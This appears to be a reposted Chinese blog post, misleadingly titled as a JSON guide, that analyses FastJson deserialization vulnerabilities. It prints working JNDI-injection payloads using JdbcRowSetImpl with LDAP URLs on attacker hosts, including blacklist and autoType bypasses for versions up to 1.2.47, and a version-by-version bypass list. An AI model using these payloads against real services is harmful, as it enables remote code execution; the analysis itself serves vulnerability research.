Java开发者的JSON处理指南

FastJsonCC链分析:

{\”@type\”:\”com.sun.rowset.JdbcRowSetImpl\”,\”dataSourceName\”:\”ldap://192.168.139.1:1389/nppckz\”, \”autoCommit\”:true}

我的理解,从最开始的版本分析漏洞,后面的补丁都是在原先基础上打的,再去判断绕过。

DefaultJSONParser.class:

做{}的提取

 

循环分割完内容,就开始判断字段:

 

@Type进入 判断内容内

然后分割,装入容器然后在分别使用

 

然后进入ObjectDeserializer deserializer = this.config.getDeserializer(clazz);

clazz就是分割后的com.sun.rowset.JdbcRowSetImpl,然后导入反序列化。

后面调用了反射去使用get,set方法,太多了没有跟下去,但是反序列化后一切就明了了。

 

然后寻找可以在get,set方法内执行有可以用函数的类,利用者找到了com.sun.rowset.JdbcRowSetImpl

因为他的set

 

调用了cnnect函数->

 

lookup,jndi的一个接口是负责用特点协议访问远程。

DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

getDataSourceName()-》

就是赋值dataSourceName的值。

从而加载远程的类

CC链大致关键流程:

parseObject->parse->key(@type)->TypeUtils.loadClass->ObjectDeserializer(反序列化)->

JdbcRowSetImpl->setDataSourceName->dataSource->setAutoCommit->connect->lookup(JNDI注入)

FastJson 1.2.41 CC链分析:

利用条件:

1、开启autoTypeSupport

2、加L和;才能成功

poc:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

String userStr =  “{\”@type\”:\”Lcom.sun.rowset.JdbcRowSetImpl;\”,\”dataSourceName\”:\”ldap://192.168.0.102:1389/qsktga\”,  \”autoCommit\”:1}”;

 

1.为什么加入setAutoTypeSupport(true)

 

 

大概逻辑就说autoTypeSupport不为真就不会进入返回clazz逻辑,就无法获得Lcom.sun.rowset.JdbcRowSetImpl

1、加L和;

 

黑名单绕过

 

程序去掉L和;

后面逻辑和上面一致了;

CC链大致关键流程:(绕过黑名单前加”L”和后加”;”)

checkAutoType->denyList[i]->this.config.getDeserializer(clazz)->loadClass->newClassName

通杀方案:1.2.25-1.2.47(checkAutotype绕过):

POC:

testStr={

“a”:{

“@type”:”java.lang.Class”,

“val”:”com.sun.rowset.JdbcRowSetImpl”

},

“b”:{

“@type”:”com.sun.rowset.JdbcRowSetImpl”,

“dataSourceName”:”ldap://192.168.139.1:1389/lvkr9r”,

“autoCommit”:true

}

}

CC链大致关键流程:

FastJson有一个全局缓存机制:在解析json数据前会先加载相关配置,调用addBaseClassMappings()和loadClass()函数将一些基础类和第三方库存放到mappings中(mappings是ConcurrentMap类,所以我们在一次连接中传入两个键值a和b,之后在解析时,如果没有开启autotype,会从mappings或deserializers.findClass()函数中获取反序列化的对应类,如果有,则直接返回绕过了黑名单。利用的是java.lang.Class类,其反序列化处理类MiscCodec类可以将任意类加载到mappings中,实现了目标。

第一步利用java.lang.Class将恶意类加载到mappings中;

第二步从在checkAutoType内部,没有开启autotype,直接从mappings中获取mappings中取出恶意类并绕过黑名单进行了反序列化。

我这里就不跟代码了:口头诉说把:

checkAutoType->denyList[i]->this.config.getDeserializer(clazz)->loadClass->newClassName

过滤流程大家跟上面都应该懂了,他是先黑名单如果在黑名单内,在去判断AutoTypeSupport是否开启,如果没有开启直接抛出异常。

所以这里利用他的黑名单空缺,先反序列化黑名单类,在mapping缓存中压入原本应该是黑名单的com.sun.rowset.JdbcRowSetImpl类,然后因为AutoTypeSupport没有开启直接从mappings获取

 

然后就是正常的fastjson流程了

https://xz.aliyun.com/t/12728

https://mp.weixin.qq.com/s/SOKLC_No0hV9RhAavF2hcw

1.2.24及以下没有对序列化的类做校验,导致漏洞产生

1.2.25-1.2.41增加了黑名单限制,更改autoType默认为关闭选项。

1.2.42版本是对1.2.41及以下版本的黑名单绕过,代码内更新字符串黑名单hash方式

1.2.43版本是对1.2.42及以下版本的黑名单绕过

1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用

1.2.47版本 利用fastjson处理Class类时的操作,将恶意类加载到缓存中,实现攻击

1.2.62-1.2.67版本Class不会再往缓存中加载恶意类,寻找新的利用链进行突破

1.2.68版本,使用期望类AutoCloseable来绕过fastjson校验

1.2.72-1.2.80使用期望类Throwable的子类,进行绕过

END

注:ZeroPointZero安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的

原创文章,作者:guozi,如若转载,请注明出处:https://www.sudun.com/ask/87815.html

Like (0)
guozi的头像guozi
Previous 2024年6月3日 下午3:05
Next 2024年6月3日 下午3:07

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注